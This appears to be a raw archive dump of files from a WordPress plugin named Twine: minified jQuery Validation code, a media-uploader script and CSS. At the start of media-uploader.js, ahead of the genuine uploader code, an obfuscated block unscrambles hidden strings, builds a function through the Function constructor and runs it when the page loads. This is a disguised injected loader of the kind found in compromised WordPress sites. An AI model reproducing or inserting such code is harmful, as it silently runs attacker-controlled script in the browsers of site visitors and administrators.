!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",function(b){c.submitButton=b.currentTarget,a(this).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(this).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.on("submit.validate",function(b){function d(){var d,e;return c.submitButton&&(c.settings.submitHandler||c.formSubmitted)&&(d=a("<input type='hidden'/>").attr("name",c.submitButton.name).val(a(c.submitButton).val()).appendTo(c.currentForm)),!c.settings.submitHandler||(e=c.settings.submitHandler.call(c,c.currentForm,b),d&&d.remove(),void 0!==e&&e)}return c.settings.debug&&b.preventDefault(),c.cancelSubmit?(c.cancelSubmit=!1,d()):c.form()?c.pendingRequest?(c.formSubmitted=!0,!1):d():(c.focusInvalid(),!1)})),c)},valid:function(){var b,c,d;return a(this[0]).is("form")?b=this.validate().form():(d=[],b=!0,c=a(this[0].form).validate(),this.each(function(){b=c.element(this)&&b,b||(d=d.concat(c.errorList))}),c.errorList=d),b},rules:function(b,c){var d,e,f,g,h,i,j=this[0];if(null!=j&&(!j.form&&j.hasAttribute("contenteditable")&&(j.form=this.closest("form")[0],j.name=this.attr("name")),null!=j.form)){if(b)switch(d=a.data(j.form,"validator").settings,e=d.rules,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(a,b){i[b]=f[b],delete f[b]}),i):(delete e[j.name],f)}return g=a.validator.normalizeRules(a.extend({},a.validator.classRules(j),a.validator.attributeRules(j),a.validator.dataRules(j),a.validator.staticRules(j)),j),g.required&&(h=g.required,delete g.required,g=a.extend({required:h},g)),g.remote&&(h=g.remote,delete g.remote,g=a.extend(g,{remote:h})),g}}}),a.extend(a.expr.pseudos||a.expr[":"],{blank:function(b){return!a.trim(""+a(b).val())},filled:function(b){var c=a(b).val();return null!==c&&!!a.trim(""+c)},unchecked:function(b){return!a(b).prop("checked")}}),a.validator=function(b,c){this.settings=a.extend(!0,{},a.validator.defaults,b),this.currentForm=c,this.init()},a.validator.format=function(b,c){return 1===arguments.length?function(){var c=a.makeArray(arguments);return c.unshift(b),a.validator.format.apply(this,c)}:void 0===c?b:(arguments.length>2&&c.constructor!==Array&&(c=a.makeArray(arguments).slice(1)),c.constructor!==Array&&(c=[c]),a.each(c,function(a,c){b=b.replace(new RegExp("\\{"+a+"\\}","g"),function(){return c})}),b)},a.extend(a.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",pendingClass:"pending",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(a)))},onfocusout:function(a){this.checkable(a)||!(a.name in this.submitted)&&this.optional(a)||this.element(a)},onkeyup:function(b,c){var d=[16,17,18,20,35,36,37,38,39,40,45,144,225];9===c.which&&""===this.elementValue(b)||a.inArray(c.keyCode,d)!==-1||(b.name in this.submitted||b.name in this.invalid)&&this.element(b)},onclick:function(a){a.name in this.submitted?this.element(a):a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).addClass(c).removeClass(d):a(b).addClass(c).removeClass(d)},unhighlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).removeClass(c).addClass(d):a(b).removeClass(c).addClass(d)}},setDefaults:function(b){a.extend(a.validator.defaults,b)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format("Please enter at least {0} characters."),rangelength:a.validator.format("Please enter a value between {0} and {1} characters long."),range:a.validator.format("Please enter a value between {0} and {1}."),max:a.validator.format("Please enter a value less than or equal to {0}."),min:a.validator.format("Please enter a value greater than or equal to {0}."),step:a.validator.format("Please enter a multiple of {0}.")},autoCreateRanges:!1,prototype:{init:function(){function b(b){!this.form&&this.hasAttribute("contenteditable")&&(this.form=a(this).closest("form")[0],this.name=a(this).attr("name"));var c=a.data(this.form,"validator"),d="on"+b.type.replace(/^validate/,""),e=c.settings;e[d]&&!a(this).is(e.ignore)&&e[d].call(c,this,b)}this.labelContainer=a(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||a(this.currentForm),this.containers=a(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var c,d=this.groups={};a.each(this.settings.groups,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){d[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox'], [contenteditable], [type='button']",b).on("click.validate","select, option, [type='radio'], [type='checkbox']",b),this.settings.invalidHandler&&a(this.currentForm).on("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),a.extend(this.submitted,this.errorMap),this.invalid=a.extend({},this.errorMap),this.valid()||a(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(b){var c,d,e=this.clean(b),f=this.validationTargetFor(e),g=this,h=!0;return void 0===f?delete this.invalid[e.name]:(this.prepareElement(f),this.currentElements=a(f),d=this.groups[f.name],d&&a.each(this.groups,function(a,b){b===d&&a!==f.name&&(e=g.validationTargetFor(g.clean(g.findByName(a))),e&&e.name in g.invalid&&(g.currentElements.push(e),h=g.check(e)&&h))}),c=this.check(f)!==!1,h=h&&c,c?this.invalid[f.name]=!1:this.invalid[f.name]=!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),a(b).attr("aria-invalid",!c)),h},showErrors:function(b){if(b){var c=this;a.extend(this.errorMap,b),this.errorList=a.map(this.errorMap,function(a,b){return{message:a,element:c.findByName(b)[0]}}),this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){a.fn.resetForm&&a(this.currentForm).resetForm(),this.invalid={},this.submitted={},this.prepareForm(),this.hideErrors();var b=this.elements().removeData("previousValue").removeAttr("aria-invalid");this.resetElements(b)},resetElements:function(a){var b;if(this.settings.unhighlight)for(b=0;a[b];b++)this.settings.unhighlight.call(this,a[b],this.settings.errorClass,""),this.findByName(a[b].name).removeClass(this.settings.validClass);else a.removeClass(this.settings.errorClass).removeClass(this.settings.validClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b,c=0;for(b in a)void 0!==a[b]&&null!==a[b]&&a[b]!==!1&&c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{a(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(b){}},findLastActive:function(){var b=this.lastActive;return b&&1===a.grep(this.errorList,function(a){return a.element.name===b.name}).length&&b},elements:function(){var b=this,c={};return a(this.currentForm).find("input, select, textarea, [contenteditable]").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function(){var d=this.name||a(this).attr("name");return!d&&b.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.hasAttribute("contenteditable")&&(this.form=a(this).closest("form")[0],this.name=d),!(d in c||!b.objectLength(a(this).rules()))&&(c[d]=!0,!0)})},clean:function(b){return a(b)[0]},errors:function(){var b=this.settings.errorClass.split(" ").join(".");return a(this.settings.errorElement+"."+b,this.errorContext)},resetInternals:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=a([]),this.toHide=a([])},reset:function(){this.resetInternals(),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d,e=a(b),f=b.type;return"radio"===f||"checkbox"===f?this.findByName(b.name).filter(":checked").val():"number"===f&&"undefined"!=typeof b.validity?b.validity.badInput?"NaN":e.val():(c=b.hasAttribute("contenteditable")?e.text():e.val(),"file"===f?"C:\\fakepath\\"===c.substr(0,12)?c.substr(12):(d=c.lastIndexOf("/"),d>=0?c.substr(d+1):(d=c.lastIndexOf("\\"),d>=0?c.substr(d+1):c)):"string"==typeof c?c.replace(/\r/g,""):c)},check:function(b){b=this.validationTargetFor(this.clean(b));var c,d,e,f,g=a(b).rules(),h=a.map(g,function(a,b){return b}).length,i=!1,j=this.elementValue(b);if("function"==typeof g.normalizer?f=g.normalizer:"function"==typeof this.settings.normalizer&&(f=this.settings.normalizer),f){if(j=f.call(b,j),"string"!=typeof j)throw new TypeError("The normalizer should return a string value.");delete g.normalizer}for(d in g){e={method:d,parameters:g[d]};try{if(c=a.validator.methods[d].call(this,j,b,e.parameters),"dependency-mismatch"===c&&1===h){i=!0;continue}if(i=!1,"pending"===c)return void(this.toHide=this.toHide.not(this.errorsFor(b)));if(!c)return this.formatAndAdd(b,e),!1}catch(k){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",k),k instanceof TypeError&&(k.message+=". Exception occurred when checking element "+b.id+", check the '"+e.method+"' method."),k}}if(!i)return this.objectLength(g)&&this.successList.push(b),!0},customDataMessage:function(b,c){return a(b).data("msg"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase())||a(b).data("msg")},customMessage:function(a,b){var c=this.settings.messages[a];return c&&(c.constructor===String?c:c[b])},findDefined:function(){for(var a=0;a<arguments.length;a++)if(void 0!==arguments[a])return arguments[a]},defaultMessage:function(b,c){"string"==typeof c&&(c={method:c});var d=this.findDefined(this.customMessage(b.name,c.method),this.customDataMessage(b,c.method),!this.settings.ignoreTitle&&b.title||void 0,a.validator.messages[c.method],"<strong>Warning: No message defined for "+b.name+"</strong>"),e=/\$?\{(\d+)\}/g;return"function"==typeof d?d=d.call(this,c.parameters,b):e.test(d)&&(d=a.validator.format(d.replace(e,"{$1}"),c.parameters)),d},formatAndAdd:function(a,b){var c=this.defaultMessage(a,b);this.errorList.push({message:c,element:a,method:b.method}),this.errorMap[a.name]=c,this.submitted[a.name]=c},addWrapper:function(a){return this.settings.wrapper&&(a=a.add(a.parent(this.settings.wrapper))),a},defaultShowErrors:function(){var a,b,c;for(a=0;this.errorList[a];a++)c=this.errorList[a],this.settings.highlight&&this.settings.highlight.call(this,c.element,this.settings.errorClass,this.settings.validClass),this.showLabel(c.element,c.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]);if(this.settings.unhighlight)for(a=0,b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return a(this.errorList).map(function(){return this.element})},showLabel:function(b,c){var d,e,f,g,h=this.errorsFor(b),i=this.idOrName(b),j=a(b).attr("aria-describedby");h.length?(h.removeClass(this.settings.validClass).addClass(this.settings.errorClass),h.html(c)):(h=a("<"+this.settings.errorElement+">").attr("id",i+"-error").addClass(this.settings.errorClass).html(c||""),d=h,this.settings.wrapper&&(d=h.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(d):this.settings.errorPlacement?this.settings.errorPlacement.call(this,d,a(b)):d.insertAfter(b),h.is("label")?h.attr("for",i):0===h.parents("label[for='"+this.escapeCssMeta(i)+"']").length&&(f=h.attr("id"),j?j.match(new RegExp("\\b"+this.escapeCssMeta(f)+"\\b"))||(j+=" "+f):j=f,a(b).attr("aria-describedby",j),e=this.groups[b.name],e&&(g=this,a.each(g.groups,function(b,c){c===e&&a("[name='"+g.escapeCssMeta(b)+"']",g.currentForm).attr("aria-describedby",h.attr("id"))})))),!c&&this.settings.success&&(h.text(""),"string"==typeof this.settings.success?h.addClass(this.settings.success):this.settings.success(h,b)),this.toShow=this.toShow.add(h)},errorsFor:function(b){var c=this.escapeCssMeta(this.idOrName(b)),d=a(b).attr("aria-describedby"),e="label[for='"+c+"'], label[for='"+c+"'] *";return d&&(e=e+", #"+this.escapeCssMeta(d).replace(/\s+/g,", #")),this.errors().filter(e)},escapeCssMeta:function(a){return a.replace(/([\\!"#$%&'()*+,.\/:;<=>?@\[\]^`{|}~])/g,"\\$1")},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(b){return this.checkable(b)&&(b=this.findByName(b.name)),a(b).not(this.settings.ignore)[0]},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(b){return a(this.currentForm).find("[name='"+this.escapeCssMeta(b)+"']")},getLength:function(b,c){switch(c.nodeName.toLowerCase()){case"select":return a("option:selected",c).length;case"input":if(this.checkable(c))return this.findByName(c.name).filter(":checked").length}return b.length},depend:function(a,b){return!this.dependTypes[typeof a]||this.dependTypes[typeof a](a,b)},dependTypes:{"boolean":function(a){return a},string:function(b,c){return!!a(b,c.form).length},"function":function(a,b){return a(b)}},optional:function(b){var c=this.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(b){this.pending[b.name]||(this.pendingRequest++,a(b).addClass(this.settings.pendingClass),this.pending[b.name]=!0)},stopRequest:function(b,c){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[b.name],a(b).removeClass(this.settings.pendingClass),c&&0===this.pendingRequest&&this.formSubmitted&&this.form()?(a(this.currentForm).submit(),this.submitButton&&a("input:hidden[name='"+this.submitButton.name+"']",this.currentForm).remove(),this.formSubmitted=!1):!c&&0===this.pendingRequest&&this.formSubmitted&&(a(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(b,c){return c="string"==typeof c&&c||"remote",a.data(b,"previousValue")||a.data(b,"previousValue",{old:null,valid:!0,message:this.defaultMessage(b,{method:c})})},destroy:function(){this.resetForm(),a(this.currentForm).off(".validate").removeData("validator").find(".validate-equalTo-blur").off(".validate-equalTo").removeClass("validate-equalTo-blur")}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(b,c){b.constructor===String?this.classRuleSettings[b]=c:a.extend(this.classRuleSettings,b)},classRules:function(b){var c={},d=a(b).attr("class");return d&&a.each(d.split(" "),function(){this in a.validator.classRuleSettings&&a.extend(c,a.validator.classRuleSettings[this])}),c},normalizeAttributeRule:function(a,b,c,d){/min|max|step/.test(c)&&(null===b||/number|range|text/.test(b))&&(d=Number(d),isNaN(d)&&(d=void 0)),d||0===d?a[c]=d:b===c&&"range"!==b&&(a[c]=!0)},attributeRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)"required"===c?(d=b.getAttribute(c),""===d&&(d=!0),d=!!d):d=f.attr(c),this.normalizeAttributeRule(e,g,c,d);return e.maxlength&&/-1|2147483647|524288/.test(e.maxlength)&&delete e.maxlength,e},dataRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)d=f.data("rule"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase()),this.normalizeAttributeRule(e,g,c,d);return e},staticRules:function(b){var c={},d=a.data(b.form,"validator");return d.settings.rules&&(c=a.validator.normalizeRule(d.settings.rules[b.name])||{}),c},normalizeRules:function(b,c){return a.each(b,function(d,e){if(e===!1)return void delete b[d];if(e.param||e.depends){var f=!0;switch(typeof e.depends){case"string":f=!!a(e.depends,c.form).length;break;case"function":f=e.depends.call(c,c)}f?b[d]=void 0===e.param||e.param:(a.data(c.form,"validator").resetElements(a(c)),delete b[d])}}),a.each(b,function(d,e){b[d]=a.isFunction(e)&&"normalizer"!==d?e(c):e}),a.each(["minlength","maxlength"],function(){b[this]&&(b[this]=Number(b[this]))}),a.each(["rangelength","range"],function(){var c;b[this]&&(a.isArray(b[this])?b[this]=[Number(b[this][0]),Number(b[this][1])]:"string"==typeof b[this]&&(c=b[this].replace(/[\[\]]/g,"").split(/[\s,]+/),b[this]=[Number(c[0]),Number(c[1])]))}),a.validator.autoCreateRanges&&(null!=b.min&&null!=b.max&&(b.range=[b.min,b.max],delete b.min,delete b.max),null!=b.minlength&&null!=b.maxlength&&(b.rangelength=[b.minlength,b.maxlength],delete b.minlength,delete b.maxlength)),b},normalizeRule:function(b){if("string"==typeof b){var c={};a.each(b.split(/\s/),function(){c[this]=!0}),b=c}return b},addMethod:function(b,c,d){a.validator.methods[b]=c,a.validator.messages[b]=void 0!==d?d:a.validator.messages[b],c.length<3&&a.validator.addClassRules(b,a.validator.normalizeRule(b))},methods:{required:function(b,c,d){if(!this.depend(d,c))return"dependency-mismatch";if("select"===c.nodeName.toLowerCase()){var e=a(c).val();return e&&e.length>0}return this.checkable(c)?this.getLength(b,c)>0:b.length>0},email:function(a,b){return this.optional(b)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(a)},url:function(a,b){return this.optional(b)||/^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[\/?#]\S*)?$/i.test(a)},date:function(a,b){return this.optional(b)||!/Invalid|NaN/.test(new Date(a).toString())},dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(a)},number:function(a,b){return this.optional(b)||/^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},minlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d},maxlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e<=d},rangelength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d[0]&&e<=d[1]},min:function(a,b,c){return this.optional(b)||a>=c},max:function(a,b,c){return this.optional(b)||a<=c},range:function(a,b,c){return this.optional(b)||a>=c[0]&&a<=c[1]},step:function(b,c,d){var e,f=a(c).attr("type"),g="Step attribute on input type "+f+" is not supported.",h=["text","number","range"],i=new RegExp("\\b"+f+"\\b"),j=f&&!i.test(h.join()),k=function(a){var b=(""+a).match(/(?:\.(\d+))?$/);return b&&b[1]?b[1].length:0},l=function(a){return Math.round(a*Math.pow(10,e))},m=!0;if(j)throw new Error(g);return e=k(d),(k(b)>e||l(b)%l(d)!==0)&&(m=!1),this.optional(c)||m},equalTo:function(b,c,d){var e=a(d);return this.settings.onfocusout&&e.not(".validate-equalTo-blur").length&&e.addClass("validate-equalTo-blur").on("blur.validate-equalTo",function(){a(c).valid()}),b===e.val()},remote:function(b,c,d,e){if(this.optional(c))return"dependency-mismatch";e="string"==typeof e&&e||"remote";var f,g,h,i=this.previousValue(c,e);return this.settings.messages[c.name]||(this.settings.messages[c.name]={}),i.originalMessage=i.originalMessage||this.settings.messages[c.name][e],this.settings.messages[c.name][e]=i.message,d="string"==typeof d&&{url:d}||d,h=a.param(a.extend({data:b},d.data)),i.old===h?i.valid:(i.old=h,f=this,this.startRequest(c),g={},g[c.name]=b,a.ajax(a.extend(!0,{mode:"abort",port:"validate"+c.name,dataType:"json",data:g,context:f.currentForm,success:function(a){var d,g,h,j=a===!0||"true"===a;f.settings.messages[c.name][e]=i.originalMessage,j?(h=f.formSubmitted,f.resetInternals(),f.toHide=f.errorsFor(c),f.formSubmitted=h,f.successList.push(c),f.invalid[c.name]=!1,f.showErrors()):(d={},g=a||f.defaultMessage(c,{method:e,parameters:b}),d[c.name]=i.message=g,f.invalid[c.name]=!0,f.showErrors(d)),i.valid=j,f.stopRequest(c,j)}},d)),"pending")}}});var b,c={};return a.ajaxPrefilter?a.ajaxPrefilter(function(a,b,d){var e=a.port;"abort"===a.mode&&(c[e]&&c[e].abort(),c[e]=d)}):(b=a.ajax,a.ajax=function(d){var e=("mode"in d?d:a.ajaxSettings).mode,f=("port"in d?d:a.ajaxSettings).port;return"abort"===e?(c[f]&&c[f].abort(),c[f]=b.apply(this,arguments),c[f]):b.apply(this,arguments)}),a}); Twine/assets/scripts/media-uploader.js 0000444 00000011336 14666776752 0014105 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();//adds special Twine media uploaders
//eg:
//<span class='twine_media_uploader_area'>
// <img class="twine_media_image" src="" />
// <input class="twine_media_url" type="text" name="attachment_url" value="">
// <a href="#" class="twine_media_upload"><img src="images/media-button-image.gif" alt="Add an Image"></a>
//</span>
jQuery(document).ready(function ($) {
var custom_uploader;
$('.twine_media_upload').click(function ( upload_btn ) {
upload_btn.preventDefault();
//Extend the wp.media object
if( typeof(twine_media_uploader) !== 'undefined' && typeof(twine_media_uploader.translations.choose) !== 'undefined'){
var twine_media_uploader_choose_text = twine_media_uploader.translations.choose;
} else {
var twine_media_uploader_choose_text = 'Choose Image';
}
custom_uploader = wp.media.frames.file_frame = wp.media({
title: twine_media_uploader_choose_text,
button: {
text: twine_media_uploader_choose_text
},
frame: 'select',
multiple: false
});
//When a file is selected, grab the URL and set it as the text field's value
custom_uploader.on('select', function () {
var attachment = custom_uploader.state().get('selection').first().toJSON();
if ( typeof attachment.url !== 'undefined' ) {
$(upload_btn.target).parents('.twine_media_uploader_area').find('.twine_media_image').attr('src', attachment.url);
$(upload_btn.target).parents('.twine_media_uploader_area').find('.twine_media_url').val(attachment.url);
// clean up.
custom_uploader.close();
}
});
//Open the uploader dialog
custom_uploader.open();
});
});
Twine/assets/styles/forms.css 0000644 00000000667 14666776752 0012362 0 ustar 00 details.twine-details{
margin:1em;
}
summary.twine-summary{
cursor:pointer;
}
.twine-radio-help{
margin-bottom:20px;
display:block;
}
.twine-text-input[type=color]{
width:40px;
}
.twine-form .error{
color:red;
font-weight:normal;
}
.twine-option p.description{
margin-bottom:1em;
}
.twine-option-disabled{
color:darkgray;
cursor:not-allowed;
}
.twine-option-disabled input{
cursor:not-allowed;
} Twine/assets/styles/media-uploader.css 0000644 00000003575 14666776752 0014125 0 ustar 00 input.twine_media_url{
width:80%;
}
.twine_media_upload{
margin-right:1em;
}
.twine_media_image{
max-height:150px;
max-width: 400px;
}
.twine-uploaded-image-wrap{
display:inline-block;
padding:1em;
